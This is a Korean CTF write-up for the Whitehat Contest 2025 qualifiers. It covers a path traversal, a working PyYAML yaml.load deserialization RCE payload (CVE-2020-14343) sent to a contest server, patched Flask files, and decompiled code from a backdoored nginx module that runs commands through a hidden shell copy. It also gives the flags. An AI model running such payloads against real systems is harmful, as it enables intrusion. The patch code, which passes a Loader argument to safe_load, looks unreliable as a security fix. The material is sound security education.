logo
Published on

Whitehat Contest 2025 Quals Writeup

시나리오 1-1

http://54.180.78.10/download?file= 엔드포인트에서 별도로 파일 전달값을 검사하지 않아 path traversal 취약점이 발생한다. 해당 취약점을 이용하여 문제의 원본 소스 코드를 유출할 수 있다.

FROM python:3.12-slim

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1 \
    PIP_NO_CACHE_DIR=1 \
    APP_HOME=/app

WORKDIR $APP_HOME

COPY requirements.txt $APP_HOME/requirements.txt
RUN pip install --no-cache-dir -r requirements.txt

COPY . $APP_HOME
RUN FLAG_CONTENT=$(cat $APP_HOME/flag.txt) && \
    echo "$FLAG_CONTENT" > "/$FLAG_CONTENT" && \
    chmod 400 "/$FLAG_CONTENT" && \
    chown root:root "/$FLAG_CONTENT" && \
    rm $APP_HOME/flag.txt

RUN useradd -m -u 10000 app && \
    chmod 750 -R /app && \
    chown -R root:app /app && \
    chmod 660 /app/static/css/theme.css

EXPOSE 8001
USER app
CMD ["gunicorn", "--bind", "0.0.0.0:8001", "--workers", "2", "--threads", "2", "--worker-class", "gthread", "--timeout", "30", "app:app"]

flag의 이름을 flag의 내용으로 바꾸고, 루트 디렉토리에 저장하는 것을 확인할 수 있다. 따라서 ls /만 실행한다면 flag를 획득할 수 있다. 또한, 해당 프로그램이 사용하는 패키지를 requirements.txt를 다운받아 확인할 수 있다.

Flask==3.0.3
PyYAML==5.3.1
gunicorn==23.0.0

위와 같이 사용하는 패키지와 그 버전을 확인할 수 있었는데, 취약점이 존재하는 버전의 PyYAML 패키지를 사용하는 것을 확인할 수 있었다. 해당 패키지에 존재하는 취약점은 CVE-2020-14343이다. 취약한 버전의 PyYAML에서 yaml.load() 함수를 사용하면 RCE가 발생할 수 있는 취약점이다. https://github.com/0xStrontium/CTFs/tree/main/HackerNewsBdarija-CTF-2022/loader/loader 위 페이지를 참고하여 공격 코드를 작성한다.

import requests

url = 'http://54.180.78.10/'

data = """
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('os').popen('ls /').read()" ]]]
"""

res = requests.post(url + '/api/theme/preview', data=data)
print(res.text)

그러면 다음과 같은 응답이 온다.

{"ok":"('app\\nbin\\nboot\\ndev\\netc\\nhome\\nlib\\nlib64\\nmedia\\nmnt\\nopt\\nproc\\nroot\\nrun\\nsbin\\nsrv\\nsys\\ntmp\\nusr\\nvar\\nwhitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}\\n',)"}

flag는 whitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}이다.

시나리오 1-2

시나리오 1-1에 존재하는 취약점을 패치하되, 원래 웹 어플리케이션의 기능은 유지해야 한다. files.py에 존재하는 path traversal과 theme.py에 존재하는 PyYAML yaml.load() 취약점을 해결해야 한다. 각각의 파일을 패치하고 기능은 잘 작동하되 취약점은 없어지면 flag를 준다.

files.py

import os
from flask import Blueprint, request, send_file, Response

files_bp = Blueprint("files", __name__)

BASE_DIR = os.path.join(os.path.dirname(os.path.dirname(__file__)), "data")

@files_bp.get("/download")
def download_file():
    rel = request.args.get("file", "")

    if '/' in rel and not rel.startswith('data'):
        return Response("Invalid characters in filename", status=400)

    requested_path = os.path.normpath(os.path.join(BASE_DIR, rel))
    base_path = os.path.normpath(BASE_DIR)
    real_requested_path = os.path.realpath(requested_path)
    real_base_path = os.path.realpath(base_path)
    if os.path.commonpath([real_requested_path, real_base_path]) != real_base_path:
        return Response("Access denied - invalid path", status=403)
    if os.path.islink(requested_path) or os.path.islink(real_requested_path):
        return Response("Access denied - symbolic links not allowed", status=403)
    if not os.path.exists(real_requested_path):
        return Response("File not found", status=404)
    if not os.path.isfile(real_requested_path):
        return Response("Path is not a file", status=400)
    try:
        return send_file(real_requested_path)
    except PermissionError:
        return Response("Permission denied - insufficient privileges to read this file", status=403)
    except FileNotFoundError:
        return Response("File not found", status=404)
    except Exception as e:
        return Response("Error: {str(e)}", status=500)

'/'가 존재하는데 data로 시작하지 않으면 path traversal로 간주하여 에러 메세지를 보낸다. data로 시작하는 경우를 넣어주는 것은 원래 페이지의 기능인 data/*.json 파일을 가져오는 것을 위해서이다. 혹시 모르니 BASE_DIR 에서 벗어나는 경우를 탐지하고 심볼릭 링크도 방지해 준다.

theme.py

import os
import re
from typing import Any, Dict
from flask import Blueprint, jsonify, request
import yaml

theme_bp = Blueprint("theme", __name__)

APP_ROOT = os.path.dirname(os.path.dirname(__file__))
THEME_CSS_PATH = os.path.join(APP_ROOT, "static", "css", "theme.css")
HEX_COLOR_PATTERN = r'^#[0-9a-fA-F]{6}$'

def validate_color(color_value: str) -> str:
    if not isinstance(color_value, str):
        return "#336699" 
    
    color_value = color_value.strip()
    
    if not color_value:
        return "#336699"
    if re.match(HEX_COLOR_PATTERN, color_value):
        return color_value
    
    return "#336699"

def write_theme_css(colors: Dict[str, str]) -> None:
    primary = validate_color(colors.get("primary", "#336699"))
    accent = validate_color(colors.get("accent", "#88aadd"))
    
    css = (
        ":root{\n"
        f"  --primary: {primary};\n"
        f"  --accent: {accent};\n"
        "}\n\n"
        "body{\n"
        "  background: #ffffff;\n"
        "  color: #222;\n"
        "  font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, Noto Sans, sans-serif;\n"
        "}\n\n"
        "header{\n"
        "  background: var(--primary);\n"
        "  color: white;\n"
        "}\n\n"
        ".btn{\n"
        "  background: var(--accent);\n"
        "  color: #111;\n"
        "  border: none;\n"
        "  padding: 8px 14px;\n"
        "  border-radius: 6px;\n"
        "  cursor: pointer;\n"
        "}\n"
    )
    with open(THEME_CSS_PATH, "w", encoding="utf-8") as f:
        f.write(css)

@theme_bp.post("/api/theme/preview")
def preview_theme():
    body = request.data.decode("utf-8", "ignore")
    if len(body) > 2**7:
        return jsonify({"error": "Body is too long"})
    try:
        parsed: Any = yaml.safe_load(body, Loader=yaml.FullLoader)

        colors: Dict[str, str] = {}
        if isinstance(parsed, dict) and isinstance(parsed.get("colors"), dict):
            colors = {
                "primary": str(parsed["colors"].get("primary", "#336699")),
                "accent": str(parsed["colors"].get("accent", "#88aadd")),
            }
        write_theme_css(colors)
    except Exception:
        write_theme_css({"primary": "#336699", "accent": "#88aadd"})

    try:
        return jsonify({"ok": repr(parsed)})
    except Exception:
        return jsonify({"error": "Failed to parse YAML"})

yaml.load() 함수를 yaml.safe_load() 함수로 변경한다.

조건을 만족하여 패치를 진행한 경우 flag를 보내준다. flag는 whitehat2025{b8b18dae5b0aed7d538d030604fbaeb6e1ac1960de20e06e01daa21b9627f113}이다.

시나리오 1-3

시나리오 1-1, 1-2 웹 서버의 vmdk 파일을 제공한다. 해당 파일을 FTK Imager를 통해 분석하였다. 일단 공격자가 침투를 한 것이기 때문에 최근 변경된 파일 위주로 파일들을 둘러보았다. 찾았던 수상한 파일은 /bin/.alpha 라는 ELF 파일이었고, 추출해서 IDA로 분석을 했을 때 /bin/bash 역할을 하는 파일이었고, 별도로 공격 코드나 백도어로 추정되는 부분은 보이지 않았다. 따라서 이 파일을 쉘을 사용하지 않는 것처럼 사용하기 위해 공격자가 쉘을 복사해놓은 것이라 생각했고, .alpha를 실행하는 코드가 악성코드/백도어일 가능성이 높다고 생각하였다.

문제의 설명에서는 웹 서버에 백도어가 존재할 가능성을 가지고 있다고 하였으므로, nginx나 python library를 패치해서 백도어를 심어놓았을 가능성을 떠올렸다. 그러나 라이브러리에는 특이한 점을 찾지 못했다. 그러던 중 수정 일자가 다른 파일들에 비하여 굉장히 최근인 nginx 모듈을 찾았다. /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 파일이었다. (그냥 /usr/lib 아래에서 수정일자가 최근인 파일을 뒤져보다가 찾았다.)

unsigned __int64 __fastcall sub_1E96(const char *a1, char *a2)
{
  char *v2; // rbx
  size_t v3; // rbp
  char *v4; // r15
  FILE *v5; // rax
  FILE *v6; // r14
  size_t v7; // r12
  size_t v8; // rbp
  char v10[1032]; // [rsp+0h] [rbp-448h] BYREF
  unsigned __int64 v11; // [rsp+408h] [rbp-40h]

  v2 = a2;
  v11 = __readfsqword(0x28u);
  v3 = strlen(a1) + 24;
  v4 = (char *)malloc(v3);
  strcpy(v4, "/bin/.alpha -p -c ");
  __strcat_chk(v4, a1, v3);
  __strcat_chk(v4, " 2>&1", v3);
  v5 = popen(v4, "r");
  if ( v5 )
  {
    v6 = v5;
    v7 = 4096;
    while ( fgets(v10, 1024, v6) )
    {
      while ( 1 )
      {
        v8 = strlen(v10);
        if ( v7 >= v8 + strlen(v2) + 1 )
          break;
        v7 *= 2LL;
        v2 = (char *)realloc(v2, v7);
      }
      strcat(v2, v10);
    }
    pclose(v6);
    if ( !*v2 )
      strcpy(v2, "Empty command response");
  }
  else
  {
    strcpy(a2, "Failed to run command - popen failure");
  }
  free(v4);
  return v11 - __readfsqword(0x28u);
}

/usr/lib/nginx/modules/ngx_http_secure_headers_module.so 파일 코드의 일부인데, 아까 추측하였듯이 /bin/.alpha 를 사용하여 command를 실행하는 것으로 추정되는 부분이 존재했다. 따라서 해당 nginx module이 백도어라고 판단을 했고, 제출한 결과 flag가 맞았다. flag는 /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 이다.